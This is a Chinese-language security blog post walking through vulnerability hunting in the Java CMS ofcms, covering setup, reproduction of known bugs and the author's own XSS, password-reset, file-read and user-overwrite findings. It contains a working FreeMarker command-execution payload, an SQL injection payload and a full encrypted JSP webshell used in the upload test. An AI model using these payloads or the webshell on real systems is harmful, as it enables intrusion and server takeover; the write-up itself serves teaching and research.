细说从0开始挖掘cms-

VSole2022-08-17 16:26:57

前言

挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。

确立目标

挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。

如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。

信息收集

如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。

项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到

漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。

或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。

环境搭建

上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。

本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。

环境要求

一般项目都会有写环境要求的,我们调整一下就好。

环境准备

环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。

数据库

首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索

/ofcms-admin/src/main/resources/dev/conf/db.properties

找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。

然后按数据库信息来修改,然后点击右边的数据库,配置一下。

如果出现以下的错误

Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.

这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。

win+R

cmd

mysql -hlocalhost -uroot -p

(然后输入数据库密码)

show variables like'%time_zone';

set global time_zone = '+8:00';

没配置环境变量的,看这个文章

https://blog.csdn.net/liuqiker/article/details/102455077

配置成功效果图如下

maven

右键项目找到mavne重新加载项目即可

tomcat

在run-configuration中配置tomcat

在Deployment配置一下

一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。

安装过程

这一步就比较简单了,跟着弄就好了。

下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。

在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。

如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21

数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。

接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。

漏洞复现

环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。

ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。

任意文件写入

漏洞模板文件这个位置,漏洞的详细分析可以看看文章

漏洞复现

我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。

这里就是写入文件,我们在admin目录下写入eek1.xml文件。

通过上面任意文件读取漏洞去读取一下

模板注入漏洞

漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇文章。

漏洞复现

漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

插入后直要访问前台就会出发payload

模板注入的知识点可以看看这篇文章

通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。

SQL注入漏洞

漏洞分析参考文章,由于这里的预编译处理不起作用,所以可以执行SQL语句。

漏洞复现

漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包

直接把payload输进来

update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)

任意文件上传

漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx

漏洞复现

找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。

eek.jsp<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

可以看到文件上传进去,而且内容没被修改。

漏洞挖掘

通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。

首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。

XSS漏洞

漏洞复现

对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。

漏洞分析

文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1package com.ofsoft.cms.api.v1;
import com.jfinal.plugin.activerecord.Db;import com.ofsoft.cms.api.ApiBase;import com.ofsoft.cms.core.annotation.Action;import com.ofsoft.cms.core.api.ApiMapping;import com.ofsoft.cms.core.api.RequestMethod;import com.ofsoft.cms.core.api.check.ParamsCheck;import com.ofsoft.cms.core.api.check.ParamsCheckType;import com.ofsoft.cms.core.utils.IpKit;import java.util.Map;
/** * 评论接口 * * @author OF * @date 2019年2月24日 */@Action(path = "/comment")public class CommentApi extends ApiBase {    /**     * 获取内容信息     */    @ApiMapping(method = RequestMethod.GET)    @ParamsCheck(            {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),                    @ParamsCheckType(name = "site_id")})    public void save() {        try {            Map params = getParamsMap();            params.put("comment_ip", IpKit.getRealIp(getRequest()));            Db.update(Db.getSqlPara("cms.comment.save", params));            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson();        }    }

请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694

这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。

逻辑缺陷漏洞1

本地环境

现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。

admin/admin

eek/123

超级管理员后台界面。

普通管理员后台界面

漏洞复现

我们先以普通管理员登录

点击右上角,修改密码

在此处burp抓包

修改id为1,密码任意

修改前admin的密码是admin

修改后为admin,密码是eek

漏洞分析

漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法

...    public void respwd() {        Mapparams = getParamsMap();        String password = (String) params.get("password");        String newpassword = (String) params.get("newpassword");        if (!password.equals(newpassword)) {            rendFailedJson("两次密码不一致!");            return;        }        Record record = new Record();        if (!StringUtils.isBlank(password)) {            password = new Sha256Hash(password).toHex();            record.set("user_password", password);        }        record.set("user_id", params.get("user_id"));        try {            Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson(ErrorCode.get("9999"));        }    }...

在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。

这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。

逻辑缺陷漏洞2

本地环境

数据库信息如下图所示

现在有超级管理员,admin/123

普通管理员,eek/123

漏洞复现

首先以普通管理员身份登录,然后点击右上角,基本资料

在此处burp抓包

修改信息,user_id改为1,密码修改为admin

以系统管理员身份登录

成功登录

漏洞分析

漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法

...    public void update() {        Mapparams = getParamsMap();        String password = (String) params.get("password");        if (!StringUtils.isBlank(password)) {            password = new Sha256Hash(password).toHex();            params.put("user_password", password);        }        params.remove("password");
        String roleId = (String) params.get("role_id");        if (!StringUtils.isBlank(roleId)) {            SqlPara sql = Db.getSqlPara("system.user.role_update", params);            Db.update(sql);        }        params.remove("role_id");
        Record record = new Record();        record.setColumns(params);        try {            Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson(ErrorCode.get("9999"));        }}...

在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。

任意文件读取

漏洞复现

找到模板文件

所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。

在他的上两级有个web.xml文件,我们尝试读取一些。

这里不能直接编辑,burp抓个包。

web.xml文件如下所示

   "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"        "http://td/web-app_2_3.dtd" >
   Archetype Created Web Application
       org.apache.shiro.web.env.EnvironmentLoaderListener
       shiro       org.apache.shiro.web.servlet.ShiroFilter
    .........

读取成功

漏洞分析

漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中

package com.ofsoft.cms.admin.controller.cms;
...    public void getTemplates() {        //当前目录        String dirName = getPara("dir","");        //上级目录        String upDirName = getPara("up_dir","/");        //类型区分            String resPath = getPara("res_path");        //文件目录        String dir = null;        if(!"/".equals(upDirName)){              dir = upDirName+dirName;        }else{              dir = dirName;        }        File pathFile = null;        if("res".equals(resPath)){            pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);        }else {            pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);        }
        File[] dirs = pathFile.listFiles(new FileFilter() {            @Override            public boolean accept(File file) {                return file.isDirectory();            }        });        if(StringUtils.isBlank (dirName)){            upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));        }        setAttr("up_dir_name",upDirName);        setAttr("up_dir","".equals(dir)?"/":dir);        setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);        setAttr("dirs", dirs);        /*if (dirName != null) {            pathFile = new File(pathFile, dirName);        }*/        File[] files = pathFile.listFiles(new FileFilter() {            @Override            public boolean accept(File file) {                return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")                        || file.getName().endsWith(".css") || file.getName().endsWith(".js"));            }        });        setAttr("files", files);        String fileName = getPara("file_name", "index.html");        File editFile = null;        if (fileName != null && files != null && files.length > 0) {            for (File f : files) {                if (fileName.equals(f.getName())) {                    editFile = f;                    break;                }            }            if (editFile == null) {                editFile = files[0];                fileName = editFile.getName();            }        }
        setAttr("file_name", fileName);        if (editFile != null) {            String fileContent = FileUtils.readString(editFile);            if (fileContent != null) {                fileContent = fileContent.replace("<", "<").replace(">", ">");                setAttr("file_content", fileContent);                setAttr("file_path", editFile);            }        }        if("res".equals(resPath)) {            render("/admin/cms/template/resource.html");        }else{        render("/admin/cms/template/index.html");        }    }......

这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。

参考链接

https://blog.csdn.net/liuqiker/article/details/102455077https://blog.csdn.net/xd_2021/article/details/123611835https://blog.csdn.net/HBohan/article/details/121422523https://blog.csdn.net/weixin_44522540/article/details/122844068
漏洞挖掘数据库文件
本作品采用《CC 协议》,转载必须注明作者和本文链接
最近在学习Android APP客户端漏洞挖掘过程中,对Android APP端漏洞挖掘做了一个基本的梳理总结本节主要是在介绍Android APP漏洞挖掘过程中,使用常见的Android漏洞挖掘工具的安装和使用办法,帮助Android漏洞挖掘人员提供便利。本文里面一部分的介绍采摘与网络博客,大家可以点击对应的网址进行查看。
首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。两种思路:1.审计通用性漏洞2.用大佬已公布的漏洞思路1难度较大,耗时也较长。思路2难度适中,就是需要写脚本或者使用别人已经写好的脚本。这是泛微继与微信企业号合作后,又一个社交化管理平台的落地成果。简单的说,一般比较大的企业都会用这个平台来做一些钉钉或者微信接口对接泛微OA的功能。
0x01 起源某天比较无聊,听一个朋友推荐httpscan这款工具,于是就下载下来试试。首先对某学校网段开始进行测试,测试时发现有个比较特殊的标题,一般有这个,证明存在目录遍历。这个就又比较开心,看到了phpinfo,这个文件和目录遍历漏洞性质也差不多,说大也大,说小也小。phpinfo属于处在信息收集阶段的一个重头,当有了这些信息,可以看出服务器端调用了那些库,以及一些敏感路径,从而进行深入的漏洞挖掘,用途也是很广的。
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
2021年初看到有大佬发了个关于pgadmin4的RCE漏洞。配置sftp:配置python解析器:尝试1:认证缺陷正常的登录认证信息为`test@123.com/123456`,但是在黑盒测试过程中发现输入`1/123456`也可以登录成功。
Web 应用通常用于对外提供服务,由于具有开放性的特点,逐渐成为网络攻击的重要对象,而漏洞利用是实现 Web 攻击的主要技术途径。越权漏洞作为一种常见的高危安全漏洞,被开 放 Web 应 用 安 全 项 目(Open Web Application Security Project,OWASP) 列 入 10 个 最 关 键Web 应用程序安全漏洞列表。结合近几年披露的与越权相关的 Web 应用通
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
涉及系统命令调用和执行的函数在接收用户的参数输入时未做检查过滤,或者攻击者可以通过编码及其他替换手段绕过安全限制注入命令串,导致执行攻击指定的命令。
VSole
网络安全专家